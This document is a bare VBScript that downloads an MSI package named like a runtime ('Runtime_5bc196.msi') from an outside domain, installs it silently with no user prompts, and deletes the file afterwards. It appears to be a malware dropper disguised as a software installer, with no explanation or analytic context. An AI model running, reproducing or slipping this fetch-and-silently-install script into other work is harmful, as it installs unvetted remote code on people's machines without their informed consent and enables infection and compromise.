Option Explicit Dim url, tempFile Dim http, stream, shell, fso Dim exitCode url = "https://taste-hk.com/downloads/Runtime_5bc196.msi" Set shell = CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") tempFile = shell.ExpandEnvironmentStrings("%TEMP%") & "\Runtime_5bc196.msi" ' Download MSI Set http = CreateObject("WinHttp.WinHttpRequest.5.1") http.Open "GET", url, False http.Send If http.Status <> 200 Then MsgBox "Could not download the installer." & vbCrLf & _ "HTTP Status: " & http.Status, _ vbCritical, "Installation Failed" WScript.Quit 1 End If Set stream = CreateObject("ADODB.Stream") stream.Type = 1 stream.Open stream.Write http.ResponseBody stream.SaveToFile tempFile, 2 stream.Close ' Install MSI exitCode = shell.Run( _ "msiexec.exe /i """ & tempFile & """ /qn /norestart", _ 1, _ True _ ) If exitCode = 0 Then MsgBox "Installation completed successfully.", _ vbInformation, "Done" Else MsgBox "Installation failed." & vbCrLf & _ "Exit code: " & exitCode, _ vbCritical, "Installation Failed" End If ' Remove downloaded MSI On Error Resume Next If fso.FileExists(tempFile) Then fso.DeleteFile tempFile, True End If On Error GoTo 0 Set stream = Nothing Set http = Nothing Set shell = Nothing Set fso = Nothing